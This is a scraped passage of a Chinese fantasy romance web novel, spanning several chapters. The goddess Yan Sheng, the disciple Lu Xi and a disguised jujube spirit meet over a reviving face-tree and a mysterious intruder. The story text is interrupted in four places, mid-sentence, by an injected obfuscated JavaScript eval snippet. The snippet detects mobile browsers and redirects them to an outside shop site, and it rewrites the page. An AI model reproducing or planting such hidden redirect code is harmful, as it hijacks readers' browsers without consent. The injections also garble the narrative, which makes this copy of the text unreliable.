颜笙正好有些话想要询问崔攸霁,便将他请进书房,进门就屏退了房内所有神使。 不等颜笙开口,崔攸霁便先为欺骗其徒弟之事道歉。颜笙表示已收到赔偿,并不再计较,转而问起幽冥之事。 崔攸霁对幽冥十分熟悉,他曾与崔瑶的母亲蜚声在那里隐居。幽冥分为里外两界,他们住在里世界,因此多年未被外界察觉。 这与颜笙上次探究幽冥的发现一致,那里果然一直有两个世界。唯独不同的是,幽冥入口变成一棵枣树。 颜笙注意到他未提及鸣蝉阁,便问道:“幽冥是何信仰?” “幽冥哪里有信仰,那是三界的放逐之地,最厌恶天界神灵。外加上……我为神仙抹黑了名声。”崔攸霁摇摇头,苦笑着。 颜笙皱眉:“那鸣蝉阁里的姚夫人是谁,和他是什么关系?“ “姚是我妻子的本姓。”崔攸霁脸色骤变:“你从哪里知道的她,瑶儿对你提的?” 颜笙不想暴露陆析,便推给崔瑶,“她随口一提,别在意。” 谈话的气氛有些烦闷,崔攸霁避开话题,随手推开窗户,花香扑面而来。庭院里百花摇曳,哑蝉仙及懒散地趴在一朵白蝉花上。 忽有窸窣声传来,似少女低语:“我……喜……欢……你。” 颜笙心头一动,那是凝烟白蝉花的鸣声。每朵花都能模拟人声喊出一个字,组成一个完整句子为一套花种。 此花幽冥特有,桃源境鲜有仙人能持成套花种,几乎都是东拼西凑,而颜笙手中竟有四套,皆由崔瑶与其义父费心踅摸而来。 今日开的是“欢喜”,也是他们送来的第一套。 崔攸霁闻声,嫉妒之情涌上心头。这等奇花,他岂不知其矜贵? 可自始至终,崔瑶从未为他寻过一颗花种。她每次得了什么稀罕之物,却总先想着带回幽冥献给那位义父,或捧到颜笙跟前。 他目光落在花上趴着的仙及,酸声讥诮:“‘三年不蜚,蜚将冲天1。’会叫的蝉终究飞不到这里,倒是你家这只不会叫的,成了仙。” 仙及至今仍不能化形,却被颜笙当做灵宠带上天。而他发妻姚蜚声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961655|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早成人形,却终究未成仙。 颜笙看出来崔攸霁情绪不畅,低头催了催仙及,它才不情不愿地飞走。 她却心生疑窦:混沌界天早已亮,它为何还赖在此处?是陆析今早赖床,还是他昨晚出事了? 崔攸霁察觉出颜笙今日心不在焉,忽提议去看仙面树。 这对于颜笙而言,倒是个意外惊喜。她回忆起陆析说,那枯死的人面树突然复活,并且袭击了他,到现在仍想不明是怎么一回事。 于是颜笙答应崔攸霁,与他欣然前往仙葩苑。 走在路上,崔攸霁又开始追忆似水年华,开始卖弄他重情重义。幸好颜笙会金蝉脱壳,把她的点头怪召唤出来,自己分出去查看仙及传来的画面。 陆析此刻坐在屋子里,对面是抱朴派掌门黍三刀,他似乎在里面坐了很久。 颜笙总算明白了仙及没有动身的原因,黍三刀为人胆小谨慎,在进屋前加了屏蔽咒。仙及没能感应到屋内动静,误以为陆析没醒,所以才会迟到。 黍三刀忽问:“派内都说你是被青口精所伤,可你有护体功德,寻常法术根本无法伤害你。你究竟是因谁而昏迷?” 陆析摇摇头,“那日我打败了两只擅闯林地的青口精,随后便晕倒了。” 黍三刀听此回答,才算放心下来,先前还以为是颜笙劫走他的魂。 毕竟这徒弟长大的容貌,实在太像已故的鹤冲派掌门。 “兴许是你体质太弱,看来以后要多锻炼体魄……”他捏了一把陆析的胳膊,发现硬|邦|邦的,至少比他这把老骨头健硕,但仍是说:“以后来无神峰参加晨练吧。” 陆析陷入沉思。 自他十五岁后,黍三刀明令禁止他参加派内集体晨练,陆析还以为自己得罪了黍三刀。 遇到颜笙以及看到陆归年的记忆后,他总算是明白了:黍三刀是在保护他,害怕他的脸被颜笙上神看见。 可这回他突然松口,陆析总觉得不同寻常。 先探探情况再做决定。 “徒儿会好好考虑。”陆析反问道:“说起来,徒儿太久没出去,不知派内近来可有发生什么大事?” 黍三刀点头,“昨日申时,为师看到有鸾鸟当空。“ 陆析心说也不算大事,冷淡附和道:“鸾乃祥瑞之兆,寓为天下安宁。“ 黍三刀话锋一转:“可我见到的那只是朱色的,是红鸾。抱朴看来最近要有喜事了。” 陆析仍淡淡的,一副事不关己的态度:“也是好事。” 黍三刀道:“后面我向山神打听了,听说是颜笙上神和神尊二公子崔攸宁订婚了,他们要在下个月蟾桂宴公布婚讯。” “没这回事。” 颜笙着急解释,忘记仙及还在陆析旁边,自己的声音也传了过去。 黍三刀也听见了,便问陆析:“我好像听到了师父的声音。” “这里只有我和您,还有一只小虫。”陆析看一眼桌面上手舞足蹈的金蝉。 黍三刀叹气,“估计是上次师父来抱朴派,却没有来看我,产生心结了。我回去抄一百遍《鹤心经》,清清心境。” 陆析点点头,心里觉得自己也得抄几遍《鹤心经》。 其实他刚才听到颜笙的解释,但心中仍感憋闷,下意识盯向那只蝉,仿佛在当面质问出轨的妻子。 颜笙盯着那张与陆归年极为相似的脸,也产生一种说不出的惭愧感,仿佛被丈夫当场捉奸似的。 7. 点头怪 颜笙介意黍三刀在场,她没法继续解释,只能忍下憋屈。索性眼不见心不烦,她把仙及传送的画面关闭,重新回到崔攸霁对面,把点头怪换回真身。 崔攸霁说得正情绪高涨,看见颜笙不再点头,猜她是听他忆往昔听得烦了,便是道歉:“不好意思。是我太自顾自地说,没考虑到听者的感受。” 颜笙诚实交代:“没事。我也没怎么听。” 崔攸霁干笑,觉得颜笙只是给他台阶,更觉抱歉。 两仙抵达仙葩苑,颜笙远远地瞧见那棵枯萎发黑的树,那是仙面树,摆着一张哭丧而皱巴的脸,看着毫无生机。 崔攸霁邀颜笙随他走近那树。 颜笙不知崔攸霁在卖什么关子,便走便侃:“你总该不会是带我赏花的?显熠殿里就有花,还用得着来这里看枯树。” 崔攸霁摇头,“我哪里敢,天上谁不知‘半夜笙歌’?” “那你这是何意?”颜笙问。 崔攸霁道:“这棵树摆在这里多年未有任何变化,连风干的程度也未曾加剧。你不好奇吗?” 颜笙以法力探究那棵树,却见摆着其死气沉沉的,和另外两界的人面树和鬼面树如出一辙,看不出任何活力。 崔攸霁却道,“我觉得,这棵树一息尚存。只是我们找不对方法唤醒他。” 颜笙认同,她想起来陆析曾说过,自己被人面树袭击,导致昏迷了一个月。 忽而,崔攸霁挥手施法,在外层加了一道消声结界。颜笙不知他想卖什么关子,但为保险起见,顺手在结界外加一层干扰结界,从外面看向他们会被障眼法迷惑。 颜笙随即开口:“你到底想说什么?” 崔攸霁指着粗糙虬劲的枝干,“天道还活着。” 他继而解释道:“我猜测三面树各自有连接,有人通过另外的某棵树,同时浇灌剩余的两棵树,而此人是天道。” 是了。三棵树互为镜像,一树生,则两树皆生。 颜笙召唤出那柄招魂伞,兀地聚在头顶,走到那棵枯树的下方。 崔攸霁看到这把眼熟的伞,噗嗤一笑:“这伞是假的,你教两个徒弟时候倒是清醒,自己犯起了傻。” “完全是假的?”颜笙更是困惑,盯着伞面的浩瀚星空发呆,心说之前她好像用这伞召唤到了陆归年的魂片,“那你这伞为何叫招魂?” 实在是你不解浪漫。”崔攸霁笑道,“凡间传说,人死后都会化作天上的星星,瑶儿的娘亲,也必在这星空中。若我亲手绘下这满天星斗,便等于把她的影子请回眼前,这岂不是招魂?” 颜笙心里纳闷,那她之前招的是什么东西,那不是天道的残魂吗。 她带着疑惑翻了一下两仪袋,瞧见天道的那片魂仍在闪闪发亮。 * 陆析总算送走了黍三刀,瞧见颜笙的蝉已经切断信号,正懒懒地趴在人面树上。 回到屋子,陆析闭上眼睛打坐,脑海中浮现一棵枯树的画面,颜笙和崔巍的儿子面对面站在树下,亲昵得摸着他种下的人面树。 他登时乱了心绪。 陆析试图抹去画面,似乎徒劳无功,只能眼睁睁看着两人摸着树。颜笙举着一把漂亮的伞,望着伞内的星空望得出神。崔攸霁目光深情款款,不知道说着什么。 陆析如坐针毡,反复念着鹤心诀。 忽听见门外砰的一声,有外人闯入林地的结界。 楼上传来脚步声,他一开始觉得是圆胖橘醒来,但听着脚步声极为稳重,倒像是位成年男子。 陆析上楼查看,瞧见圆胖橘蜷缩成一团,睡篮里放着个小匣子。他施法打开那小匣,瞧见里面装着三颗上等延寿丹。 会是那个人来过? 可他不是已经在陀铃火渊里魂散骨销了吗? 正犹豫之际,窗口却被一阵妖风吹开。 门外,人面树正甩摆着枯枝,它故意装作迎风飘动的样子,但周围的树木和它摆动的方向并不一致。 陆析眼见着一道光从屋檐飞过去,似乎停在人面树的下方。 他再也按捺不住,决定走出家门,朝着人面树的方向走去。 * 与此同时,桃源境的仙面树也微微颤动,尽管此刻并无风吹过。 崔攸霁也觉察出不对劲,握起仙面树的树枝,冲颜笙招呼:“颜笙上神,这树似乎在动。” 颜笙第一反应还是瞅向手里的伞,“你不说这招魂伞是哄孩子的花架子吗?” “确实是花架子,你不必妄想”崔攸霁哭笑不得,他仍摸着树,“我也不清楚这树为何会动。兴许是因为见了你,又或者其他两树那里发生了什么。” 听到后半句,颜笙猛地想起陆析。他之前昏迷整整一个月,就是因为遭到了人面树的袭击。难道是人面树又袭击了他? 陆析有危险! 想到这里,颜笙心里慌了,且不说他有可能是陆归年,他更是抱朴派的弟子。他如若有危险,她断不能放着不管。 趁着崔攸霁不注意,颜笙把点头怪放在旁边,自己悄悄搭云离开。 等到颜笙走远,那根树枝抬起,勾住崔攸霁的衣领,缓缓往上提。崔攸霁的服饰向来华而不实,勾住里面繁复的挂饰,他一时半会解不开。 如此一来,只得砍断那树枝。 可是仙面树毕竟是天道所种的仙树,哪能随意砍断枝杈?万一遭到那仙树报复,他未必能应付得了。 崔攸霁转头,瞧见和蔼微笑的颜笙。 论桃源仙境,谁有颜笙更可靠呢? 于是崔攸霁向已经换了芯子的颜笙请示:“颜笙上神,我先将树枝折断。如若等下出了问题,你可要保护我。” 点头怪微笑地点头,“如此,甚好。” 崔攸霁指尖凝结出剑气,朝着背后的树枝用力一砍,那干枯的树枝本就脆脆的,随即被砍断。 后方那棵仙面树的脸上露出痛苦的表情,毕竟自己的躯干被砍,发出微弱的悲鸣声。 崔攸霁捡起地上的树枝,端详树枝的截面,“这焦黑是在树枝外表,中间却是浅白色的,似有汁液。” 他把树枝递给点头怪,点头怪没有接过树枝,只点点头:“如此,甚好。” 崔攸霁没觉察出换了替身,毕竟眼前的点头怪长得和颜笙一模一样,便拿走她的两仪袋,往里面塞了那块树枝。 植株储备的分格里放着各色花种,其中有颗种子看着有些像凝烟寒蝉花,但似乎又不大像。 崔攸霁眼眶湿润,心头酸涩涌上来,猜测这又是崔瑶孝敬颜笙的新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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崔攸霁吃痛叫了一声,然后责问点头怪:“颜笙上神,您不是答应了我,会保护我?怎能在一旁看笑话。” 点头怪点头道:“如此,甚好。” 崔瑶向来机灵,看出来那是颜笙的点头怪,便拽着点头怪就走,“师父她受到了惊吓,现在有点语无伦次了,得先和我走。不必解释了,都是父亲的错。” “颜笙”点头,“如此,甚好。” 崔瑶带着点头怪走了很远一段路,瞧见四下无人时,便把点头怪收入自己的四象袋里。 她刚从幽冥过来,桃源境也没有见到颜笙上神,看来上神似乎是去了混沌,最近她似乎总去抱朴派,说是处理青口派的事。 等会儿,今日是七月初三,不是那只便宜猫妖的生辰吗?义父肯定要去鹤冲派。 崔瑶大呼糟糕,紧赶慢赶地追去鹤冲山。 * 与此同时,崔攸霁摸到腰间的花种,颜笙并未将花种要回去,心说就当是颜笙向他的赔罪了,便把花种放在一片速成开花的地里。 崔攸霁动用仙法催成了那花种,那花种迅速突出无数颗花苞,但始终没有开花,也不知是什么原因。 于是崔攸霁把那些凝烟白蝉花移栽到盆栽里,放到窗台边,想着若是这花还是不能开放。回头蟾桂宴上,他再重新还给颜笙上神处理。 8. 张脆枣 不消一炷香的功夫,颜笙便已抵达鹤冲山。她先前特意为颜庞吉留下一尊小像,此刻省去了绕道凌云顶神庙的麻烦,直接自小像中显化身形。 神像似乎被人动过,残留着一丝陌生的气息。对方灵力与她不相上下,并且抹去了屋内所有痕迹。 颜笙心头一沉,不敢耽搁,转身就去寻圆胖橘。 睡篮中空空如也。她浑身紧绷,掌中几乎凝出武器,却在转头时,看见卧榻上蜷着一个圆脸孩童,正睡得安稳。 她紧绷的心弦,这才缓缓松弛。 榻前搁着一只半开的匣子,其中隐约飘出药香。颜笙指尖轻拂盒底,再浅嗅沾染在指端的香气。 竟是延寿丹,品阶至少也在乙等以上。 想必正是因服下这枚丹药,他才得以迅速恢复人形。 颜笙蹑手蹑脚地下了二楼,见陆析居然仍在酣睡。 她推开窗,天色明亮无云,离日落尚早。这人平日总装得勤勉持家,她才把圆胖橘交给他照顾,没想到却见他白日赖床。 颜笙伸手探向他的额头,温度适中,并非发热。她翻了个白眼,正要推醒他,冷不防被他反手扣住手腕,力道之大让她难以挣脱。 颜笙凝视那张平静的睡容,冷声道:“这可是渎神之罪。” 陆析缓缓睁眼,怅惘地望向她。 她狠狠掐了他一把,“替你确认过了,不是做梦。” 他这才松开她的手。 颜笙察觉他身体似有不适,不便再多扰,只道:“你继续歇着,我有事要走。”随手施下一道昏睡咒,看他再度沉入梦境,心中感到烦乱。 今日必然有人闯入,她得亲自去会一会。 颜笙推开窗户,果然望见人面树下立着一道身影。虽面容模糊,却教她无端觉得,那该是位面容隽朗的公子。 她缓步走近,人面树的面孔宁静温和,似乎心情不错。那白衣人背对着她,身影熟悉得令人心惊,却偏偏想不起是谁。 颜笙屏息走近,轻唤:“公子。” 那人闻声,背影蓦地一颤,顷刻间如墨青丝化作暮雪白发。他转过身来,已是长眉垂须的老叟,雪髯掩去大半容颜,唯露出一双明亮的瑞凤眼。 张脆枣咧开嘴,笑得露出八颗白牙:“见过颜笙上神。” 此人正是将崔瑶抚养长大的张脆枣,幽冥界中一位长寿的枣精。爱笑的枣精运气总不会太差,崔瑶待他极尽孝道。 颜笙语气冷淡:“免礼。”她信手变出一把椅子,示意他落座,语气里藏着细刺,“张脆枣,今日见你,倒似长高了些。” 张脆枣端坐下来,双手叠放膝上,笑得云淡风轻:“一万三,窜一窜,老夫今年或许又长了几分。” “临老窜一窜?”颜笙轻嗤,“倒是稀奇。枣精阳寿不过三千,你苟到一万三千岁,可真是绝无仅有。” 张脆枣依旧笑眯眯:“因为我心善吧。” 颜笙脸色更冷,追问:“前几日崔瑶请探亲假,说是回幽冥侍你养病。你既在病中,应该好好在幽冥养着,为何现身于此?” 张脆枣神色一滞,抬眼望向她,眼神极为复杂,想说什么,但最后换成叹息一声,说道:“颜儿……多疑伤身。” 颜笙皱眉:“谁许你如此唤我?你究竟是谁?” 张脆枣眨了眨眼,像是瞬间醒转,急急换上往日的轻佻腔调:“哎呀,您别翻白眼。您一翻白眼,我就想起……” 他说到一半忽又发怔,凤眼深处掠过一抹温柔。但那抹情绪只在眼底一闪而逝,他猛地咳嗽,换作不正经地调戏,“……就想起崔瑶小时候看蚂蚁卵的模样。 颜笙指尖微颤。是了,她仍未修行前,节日随家中祭祀,总见宴席上摆着蚂蚁卵酱。她尤其厌恶密密麻麻们的一团,每见必翻白眼。 这秘事她从未与外人言说。 她冷声斥道:“多话。” 张脆枣低下头,掩去眼中波澜,仍挤出几分嬉笑:“老朽年岁大了,就爱絮叨。若嫌烦,您不妨再瞪我一眼。” 颜笙语塞,竟一时间不知该不该真瞪。 她翻手祭出两仪袋,束三生早已在暗处摩拳擦掌,见光一跃而出,“嗖”地缠上张脆枣周身,紧紧勒上三圈。 张脆枣不闪不避,假咳两声,嗓音柔和:“我都这把年纪了,上神该当尊老敬老呀。” 颜笙凝眸逼视:“方才远远望见您,分明是位俊俏少年郎,发色比我还要乌黑。怎的我一声唤,您瞬息之间变成老叟。莫不是拿我当傻子糊弄?” “我不是陆归年。”他忽地没头没脑嘟囔一句。 “我何曾说是你?”颜笙蹙眉不解,反唇相讥,“难道你希望是他?” 张脆枣眼珠子一动,马上换成一副哭丧着脸,连连叫嚷:“天地良心!老夫若是陆归年,必遭天打雷劈!” “谁问你这个了?不是你袭击——”颜笙眼见张脆枣嘴角的胡子似有开胶,便扯住那撇胡子,指间触感异样,好像摸到的是胶水。 颜笙愕然。 假胡子下面,隐约可见细嫩光洁的肌肤。似乎满脸须髯之下,果真藏着一张年轻的俊脸。 颜笙便要用力去扯那假胡子,她有点不明白,怎么会有人故意扮丑? 张脆枣不再挣扎,静静地望向她,似乎已经认命了。 “轰隆——” 天公恰在此时骤作巨响,惊雷劈开云雾,几朵灰云疾涌而至,笼罩二人头顶,恍如末世将至。 那团乌云落下,从云端走下两人,其中一位是崔瑶,另一位男子身材极为高大,生着张阔面,看着极为眼生。 一介绍才知,此人是危冥星君,就是前段日子和崔攸霁争夺情圣名头的鳏夫。他同时也是刑部的司法神仙,不过天上治安交好,刑部也清闲。 刑部的官员大都管些鸡毛蒜皮的事,像危冥星君都管辖桃源境仙人的云朵使用。 云朵是大多数桃源诸仙的出行工具,天空面积宽广,所以不必每次出行前都申请航线,但也要严格遵守行云规则。 山上的那声雷响,其实是危冥星君发出的警笛声。刚才崔瑶走得太急,腾云时不慎超速,被正在鹤冲山上空巡逻的危冥星君撞个正着,老老实实挨了一张罚单。 这场景颇有一种“行云不规范,亲人两行泪”的讽刺感。 崔瑶瞧见旁边被捆得扎实的张脆枣,忙抓着颜笙的袖子解释:“他真不是陆归年,您误会了。” 沉默观戏的危冥星君,突然插话拱火:“一万三千岁的枣精是有点奇怪,不是天道也得别的什么。” 颜笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961657|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来没想刁难张脆枣,更觉得张脆枣和崔瑶都是自己人,不想外人介入,便说:“说得也是,也不知他是什么妖怪。但幽冥界不归三界管辖,不好查他是什么妖怪。” 危冥星君热心肠地表示:“但能查看是好妖还是坏妖,若是罪大恶极者,应该身上有罚印。” 崔瑶拦住:“这是隐私之事,您无权查看。” 危冥星君讲话直接:“他们有惩印都是触犯天法的。既然作恶,便是失去了礼义廉耻,子孙三代不得飞升,他有什么资格要求掩饰罪过?” 这人根本不听劝阻,当即掐诀施法,一道凛光直扑张脆枣而去—— 张脆枣却不闪不避,神色坦然,似乎并不介意他窥探。 法术触及他心口的刹那,衣襟下浮现出一枚燃烧的红莲印记。 危冥星君瞳孔一缩,整个人顿时僵在原地。 这印记……他只在刑部的典籍里见过记载。自他任职以来,从未亲眼见过这印记。红莲印记,这是三界做高级别的罚印。 随之而来的,是一段混乱而痛苦的记忆。 随处可见的断壁残垣,大火熊熊燃烧,焦臭的气味弥漫空中。哀嚎与求救声不绝于耳。无数金色光点在烈焰中不断破碎、消散……似乎是神灵消逝的生命力。 不远处,一具高大的神躯倒在血泊中,模样像是刚刚遭遇凌迟之刑。勉强数数那人身上的伤痕,约摸将近有百余刀。 这不再是普通的杀戮,而是虐杀。这是弑神! 弑神者,当堕陀铃火渊。 可眼前这只枣精,不仅活着,竟还安然站在这里。令诸神颤栗的陀铃火渊,都困不住他? 也对,寻常能力的神仙也做不到这种程度的弑神。 危冥星君只觉得一股寒意从脚底升起,他望向张脆枣那张依旧平静的脸,似乎早已看穿他不敢讲自己眼中画面说出来。 他……究竟是谁?! 危冥星君离开了炽火红莲的幻境。 颜笙问他看到了什么,他表情一僵,摇摇头,“没什么,无聊的东西,枣精的记忆有什么好看的。” 张脆枣听到这话,戏精似的掉脸子,像受到极大的委屈,“无聊?哪里无聊?现在的年轻人啊,都不懂得尊老敬老,得挠人处且挠人。” 崔瑶愣着半晌,看着自己义父扮傻子扮得卖力,跟着添油加火:“是得饶人处且饶人吧。” 张脆枣破涕为笑,又露出八颗莹白牙齿,笑得像海狸,对颜笙说:“颜笙上神,得饶人处且饶人。” 颜笙听着直摇头,或许真如他所说那样,张脆枣只是无聊的枣精。她对危冥星君摆摆手,“罢了。也不是大事,劳您烦心了,” 危冥星君给崔瑶留下一张罚单后便走了。 崔瑶替张脆枣松绑,颜笙看着父女俩团聚,便也就放下今日的事,每个人都有秘密,她不打算上纲上线,破坏别人的家庭和谐。 仙及突然飞过来,颜笙触碰仙及,检查它的记忆里。 它的记忆里满是漆黑画面,像是被极高修为的仙人清空了,但也有侥幸稍微残留一点画面。 颜笙翻阅画面。 崔瑶正带着张脆枣要离开,突然听到颜笙唤道:“崔瑶,这里的结界上个月由你加固过,你义父是怎么闯进来的?” 9. 邀请函 崔瑶耳朵动了动,拱着张脆枣向结界出口,低声道:“义父,您先在结界外等等我,我和师父解释完再与您会合。” 颜笙看向张脆枣,淡淡道:“不用在外面等,你们父女一起过来。” 两人微躬着背,一前一后地走来,琢磨后面会有什么事等他们。 颜笙早已把记忆从蝉身取出来。 人面树下像是受到惊吓似的,胡乱摆动枯黑的树枝,周围的花草树木随之震颤。 陆析离开竹楼,走到树下查看,他伸出手触碰树干安抚。忽地,树后走出一位年轻男子,站在他的背后,以一记手刀击晕陆析。 那位男子将陆析扛到自己的肩头,背着他进了里面的小屋。在里面停留片刻后,随后离开小屋。 他回到树下,鬼祟张望四周,便朝着树上撒一种粉末,那棵树才算是安静下来。 看到这里,崔瑶蹙眉斜瞥张脆枣,张脆枣摇摇头。 颜笙望着那青年的凤目,忽地问道:“瑶儿,这里面的俊俏小哥,怎么眉眼这么像你义父。” 崔瑶脑海中一片混乱,胡乱附和道:“是吗?可能是私生子吧。” 颜笙说道:“前些日子你向我请探亲假时,说你义父卧病在床需要照顾。这会儿带着病过来,莫不是来看孩子的?” 做贼心虚的两人俱是沉默。 颜笙说道:“你们的私事我无心过问,家家都有难念的经。但竹楼里面的两个人,你们不可伤害。” 张脆枣笑着道歉:“不好意思,我平时捣枣泥捣多了,手劲大,一时没轻没重的。” 颜笙扫一眼张脆枣的手,指尖光滑哪里像长年做农活的手,指腹和掌垫倒有点茧子,不过那种茧子更像铁铺打铁的,要么…… 上过战场的。 幽冥城的人背景多不干净,张脆枣有案底的不稀奇。她当初收崔瑶为徒,就已经想到她背景恐怕不清白,也是做好打算承担下后果。 反正能有什么后果,桃源境所有神仙都打不过她。而比她强大的仙人…… 颜笙瞥向张脆枣,是自己一队的就好,她便轻轻揭过:“既然如此,你随我进去给他道个歉便是。” “成。”张脆枣立刻答应。 旁边崔瑶脑门凝结着冷汗,担惊受怕地听候颜笙发落,本等着连坐罪过,想不到居然蒙混过关,还纳闷地喃喃自语:“就这么过去了?” “当然不是。”颜笙道。 “嘶”张脆枣吃痛地低吟,胡子被颜笙扯下,露出一张眉清目秀的脸,貌比之檀郎犹胜三分,风流韵致不亚于柳官。 瞧见这等精致面容,颜笙不由得心头一酥,眼珠子不忍错开。但念及崔瑶在场,她压下起伏的心虚,方才把目光错开。 颜笙甩了甩假须,忍不住又瞧一眼那张俊脸,“别以为我不识货。这是陀铃火渊虎目苍狼的尾毫,我拿去做狼毫笔,就当是你的赔罪。” 张脆枣一张手,试图颜笙手中夺回那胡须,但被颜笙觉察意图,两人拉扯长须的两端,他便劝道:“还请上神归还。” 张脆枣恐颜笙扯坏须发,把假须松开,“那这胡须先抵押在您那里,改日我得了新的狼毫,再把这旧的狼毫赎回去。” “非要藏着掖着,是怕怀璧有罪,被人毁容?”颜笙轻挑起张脆枣的下巴,“这张脸至少对本座的眼睛友好。” 张脆枣盯着颜笙的眼睛,似乎也犹豫,叹了一口气,低声:“颜儿,你……” “你既然有求于我,就该依我的意思做事。”颜笙看着这张脸,总觉得好像她在什么地方说过相同的话,但又想不起来。 看张脆枣的眼神闪过一丝错愕,似乎他也曾见过。 总觉得张脆枣有点过分了解她,但她不记得和他有除却崔瑶以外的交集。 颜笙突然想起来,窦不迟曾分享过一个传言。 原本桃源境有个上古仙人,总喜欢到处收集诸仙的乐子,还编纂成册自己收藏取乐。后来那位仙人犯了事下凡,到现在都没回来。 该不会就是张脆枣吧? 颜笙这么一想,他若是那乐子仙人,得罪的仙人可太多了。他确实比她还要遭人恨,是不能轻易露面。 她便把手里的假须塞回张脆枣手里。 张脆枣深深地一拜,“那改日我将许诺上神的虎目苍狼的狼毫奉上。” “其实……在我面前你可以不必伪装。”颜笙想了想,“我不会告知别人,但你也要对我的眼睛负责。” 张脆枣点点头。 竹楼里的陆析已经醒了。 他身中的昏睡咒只是一种短效咒语,外面稍微有点动静,便能将他吵醒。颜笙进屋时,他坐起半个身子,背靠着床板。 一老一小跟在颜笙身后进屋。 张脆枣一看见陆析,便鞠躬道歉:“不好意思小兄弟,是我不小心打了您,回头定要赔偿您医药费。” 崔瑶也跟着鞠躬:“是我没看好我义父,害得他误伤了你。但义父他近来多病,耗尽了积蓄,由我替他赔偿您吧。” 陆析茫然看着两人,仿佛没听懂两人在做什么。 颜笙见他沉默半晌,也跟着圆场:“崔神使最近半年,常因义父的病情请假,月俸扣得多,手头略显拮据,我替她垫付了吧。只不过……” 她顿了顿,“瑶儿以后每日下班后,记得去藏卷阁打扫。” 崔瑶感激涕零,带着张脆枣领罚离开鹤冲山。 颜笙松了一口气,今日收获颇丰。一来二去,手里多了一套狼毫笔,藏卷阁的事务也有处理,还多了个养眼的朋友。 颜笙留在屋内善后,坐到床边靠向陆析,意欲为他检查伤势。 陆析板着煞白面庞,似乎不想领情,表示:“只是皮肉伤,上神不必多虑。” 说完施法拉开屋门,冷风呼呼往屋内灌。陆析咳嗽两下,说道:“上神若是有要事,还请自行离开。身子不便,恕不远送。” 话里话外都摆明要逐客。陆析今日像是变成另一个人,平时衣襟潇洒,今日衣扣扣到离脖子最近的那颗,和陆归年就更像了。 颜笙心说这陆析有这么讨厌她吗。但他今日对主动袭击他的陌生老头倒是和善,对她冷声冷气,仿佛对待一位熟悉的陌生人。 颜笙说敞亮话:“上次见面时还好好的,今日你究竟在生什么闷气?” 陆析生闷气是真,但现在他不想再与她有瓜葛,便只吞吐三字:“没生气。” 颜笙经过误杀天道的教训,有误会不会放到隔日,既然陆析不说,她只好自己猜。 是陆析早上刚听完黍三刀说过她要改嫁的事,这得把她想成什么人。 颜笙解释道:“你们掌门是道听途说,成亲的事是假的。至于我对你,从未非分之想,刚才实在是无意冒犯。” 陆析看着被子,沉默不作声,颜笙坐在旁边等了一会儿,没等来声音,她承认有点在意,端来一个小碗,放出来点清水,摞在床边桌。 颜笙仰着头,仍是倨傲姿态:“你若不肯信我,那我们歃血为誓,从此结为姐弟,这样我便不能把你采花了。” 陆析深深地看了颜笙一眼,轻轻叹息。 又是这套,千年前在鹤冲山打秋风时,也是说想和他结为兄妹。过两天她突然反悔,说想和他做一对夫妻。到最后她又想杀他。 颜笙嘴里没有一句实话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961658|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆析隔空将碗抬起,把水往地板一倒,接着操纵碗飞回柜橱。 话里拒绝之意昭然,颜笙仍不死心:“你替我照顾着圆胖橘,我总得给你个正当的名分吧。” 竹楼的楼梯处传来响动,圆胖橘大摇大摆地走下楼。 圆胖橘下楼时正好听到两人的对话,进屋后便推波助澜道:“爹,既然做不成他姐,那就做他嫂子呗。” 颜笙问陆析:“你家中几名兄长?” 陆析没搭话,脸色黑沉。圆胖橘没眼色地嚷嚷:“他家里兄弟十人,他排行第九。” 其实颜笙也没想真当陆析嫂子,就是借个台阶缓解尴尬,见圆胖橘语气是认真的,便把他拎起来,“小小年纪,学什么保媒拉纤?” 圆胖橘四肢在空中胡乱划拉,挣脱开颜笙的手,飞身钻进陆析被子里。 “小兔崽子,还不给我下来,打扰陆修士休息了。”颜笙道。 “我是猫,这里没有小兔崽子。”圆胖橘裹在被子里犟嘴。 颜笙曳住被角向外拉动,打算把圆胖橘拖出来。陆析这时淡淡开口:“颜笙上神,把被子还我。” 圆胖橘在被中匍匐前行,蜷缩陆析的旁边后,战战兢兢地露出一双眼睛。 颜笙松手,看着陆析掖完被角,便问:“在我面前装聋作哑半天,这会儿终于愿意吱声了。你消气了?” 陆析道:“怎敢生气。祝愿您能有个安定的归宿,免得圆胖橘担心。” 